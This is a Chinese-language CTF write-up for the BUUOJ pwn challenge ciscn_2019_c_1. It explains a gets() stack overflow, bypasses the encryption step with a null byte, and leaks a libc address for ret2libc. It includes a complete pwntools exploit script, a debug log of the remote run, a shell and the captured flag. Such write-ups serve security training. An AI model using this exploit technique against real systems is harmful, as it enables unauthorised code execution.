CTF buuoj pwn-----第7题:ciscn_2019_c_1
前言
重新梳理记录一下这道题的解题过程.
1.checksec
还是先看一下保护:
bing@bing-virtual-machine:~/pwn$ checksec ./ciscn_2019_c_1
[*] '/home/bing/pwn/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只有开启了栈不可以执行.
这就只能调用系统自身函数 或者 libc函数了
随手运行一下:
pwndbg> r
Starting program: /home/bing/pwn/ciscn_2019_c_1
EEEEEEE hh iii
EE mm mm mmmm aa aa cccc hh nn nnn eee
EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e
EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee
EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee
====================================================================
Welcome to this Encryption machine
====================================================================
1.Encrypt
2.Decrypt
3.Exit
Input your choice!
2. IDA 静态分析
查看整个文件, 没有找到后门函数
幸运的是,我们在int encrypt()函数里面第10行找到了gets函数, 明显存在栈溢出.
3. 解题思路
- eelf文件中没有system函数, 这就要用ret2libc方法 来调用libc中的system(‘bin/sh’) 函数.
- 从11行到33行是encrypt函数的加密过程,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密.
- 怎么获取lib.c的基地址 ?
encrypt()里面的get()可以溢出,栈大小为50h。puts()可以用来泄露libc基址,本题我选用了__libc_start_main函数泄露libc的基地址其实都一样 - 构造payload:
- payload_1 :
- payload_2 (右侧):
- payload_1 :
4. 编写EXP
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
sh = remote('node4.buuoj.cn', 25077)
elf=ELF('./ciscn_2019_c_1')
pop_rid_addr = 0x400c83
ret_addr = 0x4006b9
# 通过ROPgadget 找到
__libc_start_main_addr_got = elf.got['__libc_start_main']
puts_addr_plt = elf.plt['puts']
main_addr = elf.sym['main']
payload_1 = b'\0'+b'a'*(0x50-1+8) + p64(pop_rid_addr)+ p64(__libc_start_main_addr_got)+ p64(puts_addr_plt)+ p64(main_addr)
sh.recvuntil(b'choice!\n')
sh.sendline(b'1')
sh.recvuntil(b'encrypted\n')
sh.sendline(payload_1)
sh.recvuntil(b'Ciphertext\n')
sh.recvuntil(b'\n')
# 这一行就收到了我们想要的地址:_libc_start_main_address
__libc_start_main_address = u64(sh.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(__libc_start_main_address))
# ******* ********以上获得了_libc_start_main函数的实际地址
libc=LibcSearcher('__libc_start_main', __libc_start_main_address)
libc_base_addr = __libc_start_main_address - libc.dump('__libc_start_main')
binsh_addr = libc_base_addr + libc.dump('str_bin_sh')
system_addr = libc_base_addr + libc.dump('system')
payload_2 = b'\0'+b'a'*(0x50-1+8) + p64(ret_addr) +p64(pop_rid_addr)+ p64(binsh_addr) + p64(system_addr)
sh.recvuntil(b'choice!\n')
sh.sendline(b'1')
sh.recvuntil(b'encrypted\n')
sh.sendline(payload_2)
sh.interactive()
# 0x7f6117b5eab0 0x7eff82295ab0 0x7fbd33daeab0
这里随手记录了三次运行后打印出来得到的不同 _libc_start_main_address
后三位 ab0 固定不变,可以在线查询到libc database https://libc.blukat.me/?q=__libc_start_main%3Aab0
5. 运行EXP, 获取flag
debug模式,可以清晰的看到每一条exp指令的作用.
本exp运行时没有任何警告错误.
bing@bing-virtual-machine:~/pwn$ python3 ciscn_2019_c_1.py
[+] Opening connection to node4.buuoj.cn on port 25077: Done
[*] '/home/bing/pwn/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Received 0x217 bytes:
b'EEEEEEE hh iii \n'
b'EE mm mm mmmm aa aa cccc hh nn nnn eee \n'
b'EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e \n'
b'EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee \n'
b'EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee \n'
b'====================================================================\n'
b'Welcome to this Encryption machine\n'
b'\n'
b'====================================================================\n'
b'1.Encrypt\n'
b'2.Decrypt\n'
b'3.Exit\n'
b'Input your choice!\n'
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x25 bytes:
b'Input your Plaintext to be encrypted\n'
[DEBUG] Sent 0x79 bytes:
00000000 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │·aaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000050 61 61 61 61 61 61 61 61 83 0c 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000060 38 20 60 00 00 00 00 00 e0 06 40 00 00 00 00 00 │8 `·│····│··@·│····│
00000070 28 0b 40 00 00 00 00 00 0a │(·@·│····│·│
00000079
[DEBUG] Received 0x22a bytes:
00000000 43 69 70 68 65 72 74 65 78 74 0a 0a b0 3a 8e 7a │Ciph│erte│xt··│·:·z│
00000010 d2 7f 0a 45 45 45 45 45 45 45 20 20 20 20 20 20 │···E│EEEE│EE │ │
00000020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000030 20 20 20 20 20 20 68 68 20 20 20 20 20 20 69 69 │ │ hh│ │ ii│
00000040 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │i │ │ │ │
00000050 20 0a 45 45 20 20 20 20 20 20 6d 6d 20 6d 6d 20 │ ·EE│ │ mm│ mm │
00000060 6d 6d 6d 6d 20 20 20 20 61 61 20 61 61 20 20 20 │mmmm│ │aa a│a │
00000070 63 63 63 63 20 68 68 20 20 20 20 20 20 20 20 20 │cccc│ hh │ │ │
00000080 20 6e 6e 20 6e 6e 6e 20 20 20 20 65 65 65 20 20 │ nn │nnn │ e│ee │
00000090 0a 45 45 45 45 45 20 20 20 6d 6d 6d 20 20 6d 6d │·EEE│EE │ mmm│ mm│
000000a0 20 20 6d 6d 20 20 61 61 20 61 61 61 20 63 63 20 │ mm│ aa│ aaa│ cc │
000000b0 20 20 20 20 68 68 68 68 68 68 20 20 69 69 69 20 │ │hhhh│hh │iii │
000000c0 6e 6e 6e 20 20 6e 6e 20 65 65 20 20 20 65 20 0a │nnn │ nn │ee │ e ·│
000000d0 45 45 20 20 20 20 20 20 6d 6d 6d 20 20 6d 6d 20 │EE │ │mmm │ mm │
000000e0 20 6d 6d 20 61 61 20 20 61 61 61 20 63 63 20 20 │ mm │aa │aaa │cc │
000000f0 20 20 20 68 68 20 20 20 68 68 20 69 69 69 20 6e │ h│h │hh i│ii n│
00000100 6e 20 20 20 6e 6e 20 65 65 65 65 65 20 20 0a 45 │n │nn e│eeee│ ·E│
00000110 45 45 45 45 45 45 20 6d 6d 6d 20 20 6d 6d 20 20 │EEEE│EE m│mm │mm │
00000120 6d 6d 20 20 61 61 61 20 61 61 20 20 63 63 63 63 │mm │aaa │aa │cccc│
00000130 63 20 68 68 20 20 20 68 68 20 69 69 69 20 6e 6e │c hh│ h│h ii│i nn│
00000140 20 20 20 6e 6e 20 20 65 65 65 65 65 20 0a 3d 3d │ n│n e│eeee│ ·==│
00000150 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d │====│====│====│====│
*
00000190 3d 3d 0a 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 │==·W│elco│me t│o th│
000001a0 69 73 20 45 6e 63 72 79 70 74 69 6f 6e 20 6d 61 │is E│ncry│ptio│n ma│
000001b0 63 68 69 6e 65 0a 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d │chin│e··=│====│====│
000001c0 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d │====│====│====│====│
*
000001f0 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 31 2e 45 6e │====│====│===·│1.En│
00000200 63 72 79 70 74 0a 32 2e 44 65 63 72 79 70 74 0a │cryp│t·2.│Decr│ypt·│
00000210 33 2e 45 78 69 74 0a 49 6e 70 75 74 20 79 6f 75 │3.Ex│it·I│nput│ you│
00000220 72 20 63 68 6f 69 63 65 21 0a │r ch│oice│!·│
0x7fd27a8e3ab0
[+] http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64) be choosed.
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x25 bytes:
b'Input your Plaintext to be encrypted\n'
[DEBUG] Sent 0x79 bytes:
00000000 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │·aaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000050 61 61 61 61 61 61 61 61 b9 06 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000060 83 0c 40 00 00 00 00 00 9a 5e a7 7a d2 7f 00 00 │··@·│····│·^·z│····│
00000070 40 14 91 7a d2 7f 00 00 0a │@··z│····│·│
00000079
[*] Switching to interactive mode
[DEBUG] Received 0xc bytes:
b'Ciphertext\n'
b'\n'
Ciphertext
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{b50cca6a-ceae-4344-ae38-63b797141aef}\n'
flag{b50cca6a-ceae-4344-ae38-63b797141aef}
flag{b50cca6a-ceae-4344-ae38-63b797141aef}
后记
- 为什么通过__libc_start_main或者gets函数泄露libc地址, plt got延时绑定技术等, 都是听过解本题有了更加深刻的认识, 网上也有较多教程. 改天也写一篇这方面的学习.
- 这张表有挺多信息的.